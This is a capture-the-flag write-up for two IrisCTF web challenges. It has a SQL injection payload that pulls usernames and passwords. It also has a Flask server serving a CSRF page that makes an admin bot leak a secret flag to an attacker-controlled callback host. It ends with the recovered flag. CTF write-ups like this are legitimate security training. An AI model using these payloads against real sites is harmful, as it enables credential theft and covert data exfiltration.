IrisCTF
What’s My Password
sql injection
{"username":"skat","password":"\" union select username,password from users where username=\"skat\"#"}
LameNote
Note challenges are lame so I made a lamer one. Flag matches irisctf{[a-z_]+}
Admin will log in, make a note with the flag, then visit your link. (Sorry if the timeout is a bit broken on this challenge, there's no PoW on the admin bot so feel free to spam it a bit)
nc lamenote-adminbot.chal.irisc.tf 10300
Hint!
Please redownload if you downloaded server files at the start of the event.
maybe https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks
trying…
there is always response 200, so seems like not this
Got idea: In our resourse need make bot to create a new note with content irisctf{a and with img url to any webhook, then in iframe open the /search?query=irisctf{a
- if there is only our note matches then server will open our note and request to our webhook
- if there is more than 1 note with “irisctf{a” then response will be just urls of notes, no request to webhook, so we can extract the symbol of flag
from flask import Flask, make_response, request
from flask_cors import CORS
app = Flask(__name__)
CORS(app)
callbacks = []
temp = """
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<iframe name="test" style="display:none;"></iframe>
<iframe name="test2" style="display:none;"></iframe>
<form action="<https://lamenote-web.chal.irisc.tf/create>" method="POST" target="test">
<input type="hidden" name="title" value="Flag" />
<input type="hidden" name="text" value="irisctf{{}" />
<input type="hidden" name="image" value="https://edu.ghost1032.top/callback?callback={}&index={}" />
<input type="submit" value="Submit request" />
</form>
<form action="<https://lamenote-web.chal.irisc.tf/search>" method="GET" target="test2">
<input type="hidden" name="query" value="irisctf{{}"/>
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
document.forms[1].submit();
</script>
</body>
</html>
"""
@app.route('/leak/<i>/<string>')
def index(i,string):
return make_response(temp.format(string, string, i , string))
@app.route('/callback')
def cb():
cb = request.args.get('callback')
index = int(request.args.get('index'))
if len(callbacks) <= index:
callbacks.append({})
if cb in callbacks[index]:
callbacks[index][cb] += 1
else:
callbacks[index][cb] = 1
print(callbacks)
return make_response('')
@app.route('/result')
def result():
index = int(request.args.get('index'))
if index >= len(callbacks):
return make_response('Nope')
return make_response(str(callbacks[index]))
app.run(debug=True, port=48080)
example:
echo “https://edu.ghost1032.top/leak/0/pz" | nc -q 0 lamenote-adminbot.chal.irisc.tf 10300 would have 2 callback requests
while
echo “https://edu.ghost1032.top/leak/0/pl" | nc -q 0 lamenote-adminbot.chal.irisc.tf 10300 only has 1 callback request.
You should try a couple of times for every char, since Sorry if the timeout is a bit broken on this challenge
And that’s why I don’t have a working full-automatic exp :(
Maybe we can solve the issue by making multiple tries for every char.
I made some exploit, trying now …
irisctf{please_no_more_unintended_bugs}